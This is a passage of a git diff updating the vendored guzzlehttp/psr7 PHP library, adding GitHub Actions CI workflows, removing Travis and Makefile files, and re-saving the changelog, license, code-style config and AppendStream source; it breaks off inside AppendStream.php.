b/vendor/guzzlehttp/psr7/.github/workflows/ci.yml new file mode 100644 index 0000000000..eda7dceb56 --- /dev/null +++ b/vendor/guzzlehttp/psr7/.github/workflows/ci.yml @@ -0,0 +1,34 @@ +name: CI + +on: + pull_request: + +jobs: + build: + name: Build + runs-on: ubuntu-latest + strategy: + max-parallel: 10 + matrix: + php: ['5.5', '5.6', '7.0', '7.1', '7.2', '7.3', '7.4', '8.0', '8.1'] + + steps: + - name: Set up PHP + uses: shivammathur/setup-php@v2 + with: + php-version: ${{ matrix.php }} + coverage: 'none' + extensions: mbstring + + - name: Checkout code + uses: actions/checkout@v2 + + - name: Mimic PHP 8.0 + run: composer config platform.php 8.0.999 + if: matrix.php > 8 + + - name: Install dependencies + run: composer update --no-interaction --no-progress + + - name: Run tests + run: make test diff --git a/vendor/guzzlehttp/psr7/.github/workflows/integration.yml b/vendor/guzzlehttp/psr7/.github/workflows/integration.yml new file mode 100644 index 0000000000..3c31f9ef2a --- /dev/null +++ b/vendor/guzzlehttp/psr7/.github/workflows/integration.yml @@ -0,0 +1,37 @@ +name: Integration + +on: + pull_request: + +jobs: + + build: + name: Test + runs-on: ubuntu-latest + strategy: + max-parallel: 10 + matrix: + php: ['7.2', '7.3', '7.4', '8.0'] + + steps: + - name: Set up PHP + uses: shivammathur/setup-php@v2 + with: + php-version: ${{ matrix.php }} + coverage: none + + - name: Checkout code + uses: actions/checkout@v2 + + - name: Download dependencies + uses: ramsey/composer-install@v1 + with: + composer-options: --no-interaction --optimize-autoloader + + - name: Start server + run: php -S 127.0.0.1:10002 tests/Integration/server.php & + + - name: Run tests + env: + TEST_SERVER: 127.0.0.1:10002 + run: ./vendor/bin/phpunit --testsuite Integration diff --git a/vendor/guzzlehttp/psr7/.github/workflows/static.yml b/vendor/guzzlehttp/psr7/.github/workflows/static.yml new file mode 100644 index 0000000000..ab4d68ba30 --- /dev/null +++ b/vendor/guzzlehttp/psr7/.github/workflows/static.yml @@ -0,0 +1,29 @@ +name: Static analysis + +on: + pull_request: + +jobs: + php-cs-fixer: + name: PHP-CS-Fixer + runs-on: ubuntu-latest + + steps: + - name: Checkout code + uses: actions/checkout@v2 + + - name: Setup PHP + uses: shivammathur/setup-php@v2 + with: + php-version: '7.4' + coverage: none + extensions: mbstring + + - name: Download dependencies + run: composer update --no-interaction --no-progress + + - name: Download PHP CS Fixer + run: composer require "friendsofphp/php-cs-fixer:2.18.4" + + - name: Execute PHP CS Fixer + run: vendor/bin/php-cs-fixer fix --diff-format udiff --dry-run diff --git a/vendor/guzzlehttp/psr7/.php_cs.dist b/vendor/guzzlehttp/psr7/.php_cs.dist index bd19661e49..e4f0bd5357 100644 --- a/vendor/guzzlehttp/psr7/.php_cs.dist +++ b/vendor/guzzlehttp/psr7/.php_cs.dist @@ -1,56 +1,56 @@ -setRiskyAllowed(true) - ->setRules([ - '@PSR2' => true, - 'array_syntax' => ['syntax' => 'short'], - 'concat_space' => ['spacing' => 'one'], - 'declare_strict_types' => false, - 'final_static_access' => true, - 'fully_qualified_strict_types' => true, - 'header_comment' => false, - 'is_null' => ['use_yoda_style' => true], - 'list_syntax' => ['syntax' => 'long'], - 'lowercase_cast' => true, - 'magic_method_casing' => true, - 'modernize_types_casting' => true, - 'multiline_comment_opening_closing' => true, - 'no_alias_functions' => true, - 'no_alternative_syntax' => true, - 'no_blank_lines_after_phpdoc' => true, - 'no_empty_comment' => true, - 'no_empty_phpdoc' => true, - 'no_empty_statement' => true, - 'no_extra_blank_lines' => true, - 'no_leading_import_slash' => true, - 'no_trailing_comma_in_singleline_array' => true, - 'no_unset_cast' => true, - 'no_unused_imports' => true, - 'no_whitespace_in_blank_line' => true, - 'ordered_imports' => true, - 'php_unit_ordered_covers' => true, - 'php_unit_test_annotation' => ['style' => 'prefix'], - 'php_unit_test_case_static_method_calls' => ['call_type' => 'self'], - 'phpdoc_align' => ['align' => 'vertical'], - 'phpdoc_no_useless_inheritdoc' => true, - 'phpdoc_scalar' => true, - 'phpdoc_separation' => true, - 'phpdoc_single_line_var_spacing' => true, - 'phpdoc_trim' => true, - 'phpdoc_trim_consecutive_blank_line_separation' => true, - 'phpdoc_types' => true, - 'phpdoc_types_order' => ['null_adjustment' => 'always_last', 'sort_algorithm' => 'none'], - 'phpdoc_var_without_name' => true, - 'single_trait_insert_per_statement' => true, - 'standardize_not_equals' => true, - ]) - ->setFinder( - PhpCsFixer\Finder::create() - ->in(__DIR__.'/src') - ->in(__DIR__.'/tests') - ->name('*.php') - ) -; - -return $config; +setRiskyAllowed(true) + ->setRules([ + '@PSR2' => true, + 'array_syntax' => ['syntax' => 'short'], + 'concat_space' => ['spacing' => 'one'], + 'declare_strict_types' => false, + 'final_static_access' => true, + 'fully_qualified_strict_types' => true, + 'header_comment' => false, + 'is_null' => ['use_yoda_style' => true], + 'list_syntax' => ['syntax' => 'long'], + 'lowercase_cast' => true, + 'magic_method_casing' => true, + 'modernize_types_casting' => true, + 'multiline_comment_opening_closing' => true, + 'no_alias_functions' => true, + 'no_alternative_syntax' => true, + 'no_blank_lines_after_phpdoc' => true, + 'no_empty_comment' => true, + 'no_empty_phpdoc' => true, + 'no_empty_statement' => true, + 'no_extra_blank_lines' => true, + 'no_leading_import_slash' => true, + 'no_trailing_comma_in_singleline_array' => true, + 'no_unset_cast' => true, + 'no_unused_imports' => true, + 'no_whitespace_in_blank_line' => true, + 'ordered_imports' => true, + 'php_unit_ordered_covers' => true, + 'php_unit_test_annotation' => ['style' => 'prefix'], + 'php_unit_test_case_static_method_calls' => ['call_type' => 'self'], + 'phpdoc_align' => ['align' => 'vertical'], + 'phpdoc_no_useless_inheritdoc' => true, + 'phpdoc_scalar' => true, + 'phpdoc_separation' => true, + 'phpdoc_single_line_var_spacing' => true, + 'phpdoc_trim' => true, + 'phpdoc_trim_consecutive_blank_line_separation' => true, + 'phpdoc_types' => true, + 'phpdoc_types_order' => ['null_adjustment' => 'always_last', 'sort_algorithm' => 'none'], + 'phpdoc_var_without_name' => true, + 'single_trait_insert_per_statement' => true, + 'standardize_not_equals' => true, + ]) + ->setFinder( + PhpCsFixer\Finder::create() + ->in(__DIR__.'/src') + ->in(__DIR__.'/tests') + ->name('*.php') + ) +; + +return $config; diff --git a/vendor/guzzlehttp/psr7/.travis.yml b/vendor/guzzlehttp/psr7/.travis.yml deleted file mode 100644 index e5e8b139e1..0000000000 --- a/vendor/guzzlehttp/psr7/.travis.yml +++ /dev/null @@ -1,26 +0,0 @@ -language: php - -matrix: - include: - - php: hhvm-3.24 - dist: trusty - - php: 5.4 - dist: trusty - env: COMPOSER_FLAGS="--prefer-stable --prefer-lowest" - - php: 5.4 - dist: trusty - - php: 5.5.9 - dist: trusty - env: COMPOSER_FLAGS="--prefer-stable --prefer-lowest" - fast_finish: true - -before_install: - - if [[ "$TRAVIS_PHP_VERSION" != "hhvm-3.24" ]]; then echo "xdebug.overload_var_dump = 1" >> ~/.phpenv/versions/$(phpenv version-name)/etc/php.ini; fi - - if [[ "$TRAVIS_PHP_VERSION" == "hhvm-3.24" ]]; then travis_retry composer require "phpunit/phpunit:^5.7.27" --dev --no-update -n; fi - -install: - - if [[ "$TRAVIS_PHP_VERSION" != "nightly" ]]; then travis_retry composer update; fi - - if [[ "$TRAVIS_PHP_VERSION" == "nightly" ]]; then travis_retry composer update --ignore-platform-reqs; fi - -script: - - make test diff --git a/vendor/guzzlehttp/psr7/CHANGELOG.md b/vendor/guzzlehttp/psr7/CHANGELOG.md index 31e671f154..f40736c4eb 100644 --- a/vendor/guzzlehttp/psr7/CHANGELOG.md +++ b/vendor/guzzlehttp/psr7/CHANGELOG.md @@ -1,300 +1,300 @@ -# Change Log - - -All notable changes to this project will be documented in this file. - -The format is based on [Keep a Changelog](http://keepachangelog.com/en/1.0.0/) -and this project adheres to [Semantic Versioning](http://semver.org/spec/v2.0.0.html). - - -## Unreleased - -## 1.8.3 - 2021-10-05 - -### Fixed - -- Return `null` in caching stream size if remote size is `null` - -## 1.8.2 - 2021-04-26 - -### Fixed - -- Handle possibly unset `url` in `stream_get_meta_data` - -## 1.8.1 - 2021-03-21 - -### Fixed - -- Issue parsing IPv6 URLs -- Issue modifying ServerRequest lost all its attributes - -## 1.8.0 - 2021-03-21 - -### Added - -- Locale independent URL parsing -- Most classes got a `@final` annotation to prepare for 2.0 - -### Fixed - -- Issue when creating stream from `php://input` and curl-ext is not installed -- Broken `Utils::tryFopen()` on PHP 8 - -## 1.7.0 - 2020-09-30 - -### Added - -- Replaced functions by static methods - -### Fixed - -- Converting a non-seekable stream to a string -- Handle multiple Set-Cookie correctly -- Ignore array keys in header values when merging -- Allow multibyte characters to be parsed in `Message:bodySummary()` - -### Changed - -- Restored partial HHVM 3 support - - -## [1.6.1] - 2019-07-02 - -### Fixed - -- Accept null and bool header values again - - -## [1.6.0] - 2019-06-30 - -### Added - -- Allowed version `^3.0` of `ralouphie/getallheaders` dependency (#244) -- Added MIME type for WEBP image format (#246) -- Added more validation of values according to PSR-7 and RFC standards, e.g. status code range (#250, #272) - -### Changed - -- Tests don't pass with HHVM 4.0, so HHVM support got dropped. Other libraries like composer have done the same. (#262) -- Accept port number 0 to be valid (#270) - -### Fixed - -- Fixed subsequent reads from `php://input` in ServerRequest (#247) -- Fixed readable/writable detection for certain stream modes (#248) -- Fixed encoding of special characters in the `userInfo` component of an URI (#253) - - -## [1.5.2] - 2018-12-04 - -### Fixed - -- Check body size when getting the message summary - - -## [1.5.1] - 2018-12-04 - -### Fixed - -- Get the summary of a body only if it is readable - - -## [1.5.0] - 2018-12-03 - -### Added - -- Response first-line to response string exception (fixes #145) -- A test for #129 behavior -- `get_message_body_summary` function in order to get the message summary -- `3gp` and `mkv` mime types - -### Changed - -- Clarify exception message when stream is detached - -### Deprecated - -- Deprecated parsing folded header lines as per RFC 7230 - -### Fixed - -- Fix `AppendStream::detach` to not close streams -- `InflateStream` preserves `isSeekable` attribute of the underlying stream -- `ServerRequest::getUriFromGlobals` to support URLs in query parameters - - -Several other fixes and improvements. - - -## [1.4.2] - 2017-03-20 - -### Fixed - -- Reverted BC break to `Uri::resolve` and `Uri::removeDotSegments` by removing - calls to `trigger_error` when deprecated methods are invoked. - - -## [1.4.1] - 2017-02-27 - -### Added - -- Rriggering of silenced deprecation warnings. - -### Fixed - -- Reverted BC break by reintroducing behavior to automagically fix a URI with a - relative path and an authority by adding a leading slash to the path. It's only - deprecated now. - - -## [1.4.0] - 2017-02-21 - -### Added - -- Added common URI utility methods based on RFC 3986 (see documentation in the readme): - - `Uri::isDefaultPort` - - `Uri::isAbsolute` - - `Uri::isNetworkPathReference` - - `Uri::isAbsolutePathReference` - - `Uri::isRelativePathReference` - - `Uri::isSameDocumentReference` - - `Uri::composeComponents` - - `UriNormalizer::normalize` - - `UriNormalizer::isEquivalent` - - `UriResolver::relativize` - -### Changed - -- Ensure `ServerRequest::getUriFromGlobals` returns a URI in absolute form. -- Allow `parse_response` to parse a response without delimiting space and reason. -- Ensure each URI modification results in a valid URI according to PSR-7 discussions. - Invalid modifications will throw an exception instead of returning a wrong URI or - doing some magic. - - `(new Uri)->withPath('foo')->withHost('example.com')` will throw an exception - because the path of a URI with an authority must start with a slash "/" or be empty - - `(new Uri())->withScheme('http')` will return `'http://localhost'` - -### Deprecated - -- `Uri::resolve` in favor of `UriResolver::resolve` -- `Uri::removeDotSegments` in favor of `UriResolver::removeDotSegments` - -### Fixed - -- `Stream::read` when length parameter <= 0. -- `copy_to_stream` reads bytes in chunks instead of `maxLen` into memory. -- `ServerRequest::getUriFromGlobals` when `Host` header contains port. -- Compatibility of URIs with `file` scheme and empty host. - - -## [1.3.1] - 2016-06-25 - -### Fixed - -- `Uri::__toString` for network path references, e.g. `//example.org`. -- Missing lowercase normalization for host. -- Handling of URI components in case they are `'0'` in a lot of places, - e.g. as a user info password. -- `Uri::withAddedHeader` to correctly merge headers with different case. -- Trimming of header values in `Uri::withAddedHeader`. Header values may - be surrounded by whitespace which should be ignored according to RFC 7230 - Section 3.2.4. This does not apply to header names. -- `Uri::withAddedHeader` with an array of header values. -- `Uri::resolve` when base path has no slash and handling of fragment. -- Handling of encoding in `Uri::with(out)QueryValue` so one can pass the - key/value both in encoded as well as decoded form to those methods. This is - consistent with withPath, withQuery etc. -- `ServerRequest::withoutAttribute` when attribute value is null. - - -## [1.3.0] - 2016-04-13 - -### Added - -- Remaining interfaces needed for full PSR7 compatibility - (ServerRequestInterface, UploadedFileInterface, etc.). -- Support for stream_for from scalars. - -### Changed - -- Can now extend Uri. - -### Fixed -- A bug in validating request methods by making it more permissive. - - -## [1.2.3] - 2016-02-18 - -### Fixed - -- Support in `GuzzleHttp\Psr7\CachingStream` for seeking forward on remote - streams, which can sometimes return fewer bytes than requested with `fread`. -- Handling of gzipped responses with FNAME headers. - - -## [1.2.2] - 2016-01-22 - -### Added - -- Support for URIs without any authority. -- Support for HTTP 451 'Unavailable For Legal Reasons.' -- Support for using '0' as a filename. -- Support for including non-standard ports in Host headers. - - -## [1.2.1] - 2015-11-02 - -### Changes - -- Now supporting negative offsets when seeking to SEEK_END. - - -## [1.2.0] - 2015-08-15 - -### Changed - -- Body as `"0"` is now properly added to a response. -- Now allowing forward seeking in CachingStream. -- Now properly parsing HTTP requests that contain proxy targets in - `parse_request`. -- functions.php is now conditionally required. -- user-info is no longer dropped when resolving URIs. - - -## [1.1.0] - 2015-06-24 - -### Changed - -- URIs can now be relative. -- `multipart/form-data` headers are now overridden case-insensitively. -- URI paths no longer encode the following characters because they are allowed - in URIs: "(", ")", "*", "!", "'" -- A port is no longer added to a URI when the scheme is missing and no port is - present. - - -## 1.0.0 - 2015-05-19 - -Initial release. - -Currently unsupported: - -- `Psr\Http\Message\ServerRequestInterface` -- `Psr\Http\Message\UploadedFileInterface` - - - -[1.6.0]: https://github.com/guzzle/psr7/compare/1.5.2...1.6.0 -[1.5.2]: https://github.com/guzzle/psr7/compare/1.5.1...1.5.2 -[1.5.1]: https://github.com/guzzle/psr7/compare/1.5.0...1.5.1 -[1.5.0]: https://github.com/guzzle/psr7/compare/1.4.2...1.5.0 -[1.4.2]: https://github.com/guzzle/psr7/compare/1.4.1...1.4.2 -[1.4.1]: https://github.com/guzzle/psr7/compare/1.4.0...1.4.1 -[1.4.0]: https://github.com/guzzle/psr7/compare/1.3.1...1.4.0 -[1.3.1]: https://github.com/guzzle/psr7/compare/1.3.0...1.3.1 -[1.3.0]: https://github.com/guzzle/psr7/compare/1.2.3...1.3.0 -[1.2.3]: https://github.com/guzzle/psr7/compare/1.2.2...1.2.3 -[1.2.2]: https://github.com/guzzle/psr7/compare/1.2.1...1.2.2 -[1.2.1]: https://github.com/guzzle/psr7/compare/1.2.0...1.2.1 -[1.2.0]: https://github.com/guzzle/psr7/compare/1.1.0...1.2.0 -[1.1.0]: https://github.com/guzzle/psr7/compare/1.0.0...1.1.0 +# Change Log + + +All notable changes to this project will be documented in this file. + +The format is based on [Keep a Changelog](http://keepachangelog.com/en/1.0.0/) +and this project adheres to [Semantic Versioning](http://semver.org/spec/v2.0.0.html). + + +## Unreleased + +## 1.8.3 - 2021-10-05 + +### Fixed + +- Return `null` in caching stream size if remote size is `null` + +## 1.8.2 - 2021-04-26 + +### Fixed + +- Handle possibly unset `url` in `stream_get_meta_data` + +## 1.8.1 - 2021-03-21 + +### Fixed + +- Issue parsing IPv6 URLs +- Issue modifying ServerRequest lost all its attributes + +## 1.8.0 - 2021-03-21 + +### Added + +- Locale independent URL parsing +- Most classes got a `@final` annotation to prepare for 2.0 + +### Fixed + +- Issue when creating stream from `php://input` and curl-ext is not installed +- Broken `Utils::tryFopen()` on PHP 8 + +## 1.7.0 - 2020-09-30 + +### Added + +- Replaced functions by static methods + +### Fixed + +- Converting a non-seekable stream to a string +- Handle multiple Set-Cookie correctly +- Ignore array keys in header values when merging +- Allow multibyte characters to be parsed in `Message:bodySummary()` + +### Changed + +- Restored partial HHVM 3 support + + +## [1.6.1] - 2019-07-02 + +### Fixed + +- Accept null and bool header values again + + +## [1.6.0] - 2019-06-30 + +### Added + +- Allowed version `^3.0` of `ralouphie/getallheaders` dependency (#244) +- Added MIME type for WEBP image format (#246) +- Added more validation of values according to PSR-7 and RFC standards, e.g. status code range (#250, #272) + +### Changed + +- Tests don't pass with HHVM 4.0, so HHVM support got dropped. Other libraries like composer have done the same. (#262) +- Accept port number 0 to be valid (#270) + +### Fixed + +- Fixed subsequent reads from `php://input` in ServerRequest (#247) +- Fixed readable/writable detection for certain stream modes (#248) +- Fixed encoding of special characters in the `userInfo` component of an URI (#253) + + +## [1.5.2] - 2018-12-04 + +### Fixed + +- Check body size when getting the message summary + + +## [1.5.1] - 2018-12-04 + +### Fixed + +- Get the summary of a body only if it is readable + + +## [1.5.0] - 2018-12-03 + +### Added + +- Response first-line to response string exception (fixes #145) +- A test for #129 behavior +- `get_message_body_summary` function in order to get the message summary +- `3gp` and `mkv` mime types + +### Changed + +- Clarify exception message when stream is detached + +### Deprecated + +- Deprecated parsing folded header lines as per RFC 7230 + +### Fixed + +- Fix `AppendStream::detach` to not close streams +- `InflateStream` preserves `isSeekable` attribute of the underlying stream +- `ServerRequest::getUriFromGlobals` to support URLs in query parameters + + +Several other fixes and improvements. + + +## [1.4.2] - 2017-03-20 + +### Fixed + +- Reverted BC break to `Uri::resolve` and `Uri::removeDotSegments` by removing + calls to `trigger_error` when deprecated methods are invoked. + + +## [1.4.1] - 2017-02-27 + +### Added + +- Rriggering of silenced deprecation warnings. + +### Fixed + +- Reverted BC break by reintroducing behavior to automagically fix a URI with a + relative path and an authority by adding a leading slash to the path. It's only + deprecated now. + + +## [1.4.0] - 2017-02-21 + +### Added + +- Added common URI utility methods based on RFC 3986 (see documentation in the readme): + - `Uri::isDefaultPort` + - `Uri::isAbsolute` + - `Uri::isNetworkPathReference` + - `Uri::isAbsolutePathReference` + - `Uri::isRelativePathReference` + - `Uri::isSameDocumentReference` + - `Uri::composeComponents` + - `UriNormalizer::normalize` + - `UriNormalizer::isEquivalent` + - `UriResolver::relativize` + +### Changed + +- Ensure `ServerRequest::getUriFromGlobals` returns a URI in absolute form. +- Allow `parse_response` to parse a response without delimiting space and reason. +- Ensure each URI modification results in a valid URI according to PSR-7 discussions. + Invalid modifications will throw an exception instead of returning a wrong URI or + doing some magic. + - `(new Uri)->withPath('foo')->withHost('example.com')` will throw an exception + because the path of a URI with an authority must start with a slash "/" or be empty + - `(new Uri())->withScheme('http')` will return `'http://localhost'` + +### Deprecated + +- `Uri::resolve` in favor of `UriResolver::resolve` +- `Uri::removeDotSegments` in favor of `UriResolver::removeDotSegments` + +### Fixed + +- `Stream::read` when length parameter <= 0. +- `copy_to_stream` reads bytes in chunks instead of `maxLen` into memory. +- `ServerRequest::getUriFromGlobals` when `Host` header contains port. +- Compatibility of URIs with `file` scheme and empty host. + + +## [1.3.1] - 2016-06-25 + +### Fixed + +- `Uri::__toString` for network path references, e.g. `//example.org`. +- Missing lowercase normalization for host. +- Handling of URI components in case they are `'0'` in a lot of places, + e.g. as a user info password. +- `Uri::withAddedHeader` to correctly merge headers with different case. +- Trimming of header values in `Uri::withAddedHeader`. Header values may + be surrounded by whitespace which should be ignored according to RFC 7230 + Section 3.2.4. This does not apply to header names. +- `Uri::withAddedHeader` with an array of header values. +- `Uri::resolve` when base path has no slash and handling of fragment. +- Handling of encoding in `Uri::with(out)QueryValue` so one can pass the + key/value both in encoded as well as decoded form to those methods. This is + consistent with withPath, withQuery etc. +- `ServerRequest::withoutAttribute` when attribute value is null. + + +## [1.3.0] - 2016-04-13 + +### Added + +- Remaining interfaces needed for full PSR7 compatibility + (ServerRequestInterface, UploadedFileInterface, etc.). +- Support for stream_for from scalars. + +### Changed + +- Can now extend Uri. + +### Fixed +- A bug in validating request methods by making it more permissive. + + +## [1.2.3] - 2016-02-18 + +### Fixed + +- Support in `GuzzleHttp\Psr7\CachingStream` for seeking forward on remote + streams, which can sometimes return fewer bytes than requested with `fread`. +- Handling of gzipped responses with FNAME headers. + + +## [1.2.2] - 2016-01-22 + +### Added + +- Support for URIs without any authority. +- Support for HTTP 451 'Unavailable For Legal Reasons.' +- Support for using '0' as a filename. +- Support for including non-standard ports in Host headers. + + +## [1.2.1] - 2015-11-02 + +### Changes + +- Now supporting negative offsets when seeking to SEEK_END. + + +## [1.2.0] - 2015-08-15 + +### Changed + +- Body as `"0"` is now properly added to a response. +- Now allowing forward seeking in CachingStream. +- Now properly parsing HTTP requests that contain proxy targets in + `parse_request`. +- functions.php is now conditionally required. +- user-info is no longer dropped when resolving URIs. + + +## [1.1.0] - 2015-06-24 + +### Changed + +- URIs can now be relative. +- `multipart/form-data` headers are now overridden case-insensitively. +- URI paths no longer encode the following characters because they are allowed + in URIs: "(", ")", "*", "!", "'" +- A port is no longer added to a URI when the scheme is missing and no port is + present. + + +## 1.0.0 - 2015-05-19 + +Initial release. + +Currently unsupported: + +- `Psr\Http\Message\ServerRequestInterface` +- `Psr\Http\Message\UploadedFileInterface` + + + +[1.6.0]: https://github.com/guzzle/psr7/compare/1.5.2...1.6.0 +[1.5.2]: https://github.com/guzzle/psr7/compare/1.5.1...1.5.2 +[1.5.1]: https://github.com/guzzle/psr7/compare/1.5.0...1.5.1 +[1.5.0]: https://github.com/guzzle/psr7/compare/1.4.2...1.5.0 +[1.4.2]: https://github.com/guzzle/psr7/compare/1.4.1...1.4.2 +[1.4.1]: https://github.com/guzzle/psr7/compare/1.4.0...1.4.1 +[1.4.0]: https://github.com/guzzle/psr7/compare/1.3.1...1.4.0 +[1.3.1]: https://github.com/guzzle/psr7/compare/1.3.0...1.3.1 +[1.3.0]: https://github.com/guzzle/psr7/compare/1.2.3...1.3.0 +[1.2.3]: https://github.com/guzzle/psr7/compare/1.2.2...1.2.3 +[1.2.2]: https://github.com/guzzle/psr7/compare/1.2.1...1.2.2 +[1.2.1]: https://github.com/guzzle/psr7/compare/1.2.0...1.2.1 +[1.2.0]: https://github.com/guzzle/psr7/compare/1.1.0...1.2.0 +[1.1.0]: https://github.com/guzzle/psr7/compare/1.0.0...1.1.0 diff --git a/vendor/guzzlehttp/psr7/LICENSE b/vendor/guzzlehttp/psr7/LICENSE index c54a2a6aeb..51c7ec81cb 100644 --- a/vendor/guzzlehttp/psr7/LICENSE +++ b/vendor/guzzlehttp/psr7/LICENSE @@ -1,26 +1,26 @@ -The MIT License (MIT) - -Copyright (c) 2015 Michael Dowling -Copyright (c) 2015 Márk Sági-Kazár -Copyright (c) 2015 Graham Campbell -Copyright (c) 2016 Tobias Schultze -Copyright (c) 2016 George Mponos -Copyright (c) 2018 Tobias Nyholm - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in -all copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -THE SOFTWARE. +The MIT License (MIT) + +Copyright (c) 2015 Michael Dowling +Copyright (c) 2015 Márk Sági-Kazár +Copyright (c) 2015 Graham Campbell +Copyright (c) 2016 Tobias Schultze +Copyright (c) 2016 George Mponos +Copyright (c) 2018 Tobias Nyholm + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in +all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. diff --git a/vendor/guzzlehttp/psr7/Makefile b/vendor/guzzlehttp/psr7/Makefile deleted file mode 100644 index e007c035e0..0000000000 --- a/vendor/guzzlehttp/psr7/Makefile +++ /dev/null @@ -1,29 +0,0 @@ -all: clean test - -test: - vendor/bin/phpunit $(TEST) - -coverage: - vendor/bin/phpunit --coverage-html=artifacts/coverage $(TEST) - -view-coverage: - open artifacts/coverage/index.html - -check-tag: - $(if $(TAG),,$(error TAG is not defined. Pass via "make tag TAG=4.2.1")) - -tag: check-tag - @echo Tagging $(TAG) - chag update $(TAG) - git commit -a -m '$(TAG) release' - chag tag - @echo "Release has been created. Push using 'make release'" - @echo "Changes made in the release commit" - git diff HEAD~1 HEAD - -release: check-tag - git push origin master - git push origin $(TAG) - -clean: - rm -rf artifacts/* diff --git a/vendor/guzzlehttp/psr7/phpunit.xml.dist b/vendor/guzzlehttp/psr7/phpunit.xml.dist deleted file mode 100644 index e2819aa1df..0000000000 --- a/vendor/guzzlehttp/psr7/phpunit.xml.dist +++ /dev/null @@ -1,24 +0,0 @@ - - - - - tests/ - tests/Integration - - - tests/Integration - - - - - - src/ - - - diff --git a/vendor/guzzlehttp/psr7/src/AppendStream.php b/vendor/guzzlehttp/psr7/src/AppendStream.php index d4e9e8724d..fa9153d78f 100644 --- a/vendor/guzzlehttp/psr7/src/AppendStream.php +++ b/vendor/guzzlehttp/psr7/src/AppendStream.php @@ -1,246 +1,246 @@ -addStream($stream); - } - } - - public function __toString() - { - try { - $this->rewind(); - return $this->getContents(); - } catch (\Exception $e) { - return ''; - } - } - - /** - * Add a stream to the AppendStream - * - * @param StreamInterface $stream Stream to append. Must be readable. - * - * @throws \InvalidArgumentException if the stream is not readable - */ - public function addStream(StreamInterface $stream) - { - if (!$stream->isReadable()) { - throw new \InvalidArgumentException('Each stream must be readable'); - } - - // The stream is only seekable if all streams are seekable - if (!$stream->isSeekable()) { - $this->seekable = false; - } - - $this->streams[] = $stream; - } - - public function getContents() - { - return Utils::copyToString($this); - } - - /** - * Closes each attached stream. - * - * {@inheritdoc} - */ - public function close() - { - $this->pos = $this->current = 0; - $this->seekable = true; - - foreach ($this->streams as $stream) { - $stream->close(); - } - - $this->streams = []; - } - - /** - * Detaches each attached stream. - * - * Returns null as it's not clear which underlying stream resource to return. - * - * {@inheritdoc} - */ - public function detach() - { - $this->pos = $this->current = 0; - $this->seekable = true; - - foreach ($this->streams as $stream) { - $stream->detach(); - } - - $this->streams = []; - - return null; - } - - public function tell() - { - return $this->pos; - } - - /** - * Tries to calculate the size by adding the size of each stream. - * - * If any of the streams do not return a valid number, then the size of the - * append stream cannot be determined and null is returned. - * - * {@inheritdoc} - */ - public function getSize() - { - $size = 0; - - foreach ($this->streams as $stream) { - $s = $stream->getSize(); - if ($s === null) { - return null; - } - $size += $s; - } - - return $size; - } - - public function eof() - { - return !$this->streams || - ($this->current >= count($this->streams) - 1 && - $this->streams[$this->current]->eof()); - } - - public function rewind() - { - $this->seek(0); - } - - /** - * Attempts to seek to the given position. Only supports SEEK_SET. - * - * {@inheritdoc} - */ - public function seek($offset, $whence = SEEK_SET) - { - if (!$this->seekable) { - throw new \RuntimeException('This AppendStream is not seekable'); - } elseif ($whence !== SEEK_SET) { - throw new \RuntimeException('The AppendStream can only seek with SEEK_SET'); - } - - $this->pos = $this->current = 0; - - // Rewind each stream - foreach ($this->streams as $i => $stream) { - try { - $stream->rewind(); - } catch (\Exception $e) { - throw new \RuntimeException('Unable to seek stream ' - . $i . ' of the AppendStream', 0, $e); - } - } - - // Seek to the actual position by reading from each stream - while ($this->pos < $offset && !$this->eof()) { - $result = $this->read(min(8096, $offset - $this->pos)); - if ($result === '') { - break; - } - } - } - - /** - * Reads from all of the appended streams until the length is met or EOF. - * - * {@inheritdoc} - */ - public function read($length) - { - $buffer = ''; - $total = count($this->streams) - 1; - $remaining = $length; - $progressToNext = false; - - while ($remaining > 0) { - - // Progress to the next stream if needed. - if ($progressToNext || $this->streams[$this->current]->eof()) { - $progressToNext = false; - if ($this->current === $total) { - break; - } - $this->current++; - } - - $result = $this->streams[$this->current]->read($remaining); - - // Using a loose comparison here to match on '', false, and null - if ($result == null) { - $progressToNext = true; - continue; - } - - $buffer .= $result; - $remaining = $length - strlen($buffer); - } - - $this->pos += strlen($buffer); - - return $buffer; - } - - public function isReadable() - { - return true; - } - - public function isWritable() - { - return false; - } - - public function isSeekable() - { - return $this->seekable; - } - - public function write($string) - { - throw new \RuntimeException('Cannot write to an AppendStream'); - } - - public function getMetadata($key = null) - { - return $key ? null : []; - } -} +addStream($stream); + } + } + + public function __toString() + { + try { + $this->rewind(); + return $this->getContents(); + } catch (\Exception $e) { + return ''; + } + } + + /** + * Add a stream to the AppendStream + * + * @param StreamInterface $stream Stream to append. Must be readable. + * + * @throws \InvalidArgumentException if the stream is not readable + */ + public function addStream(StreamInterface $stream) + 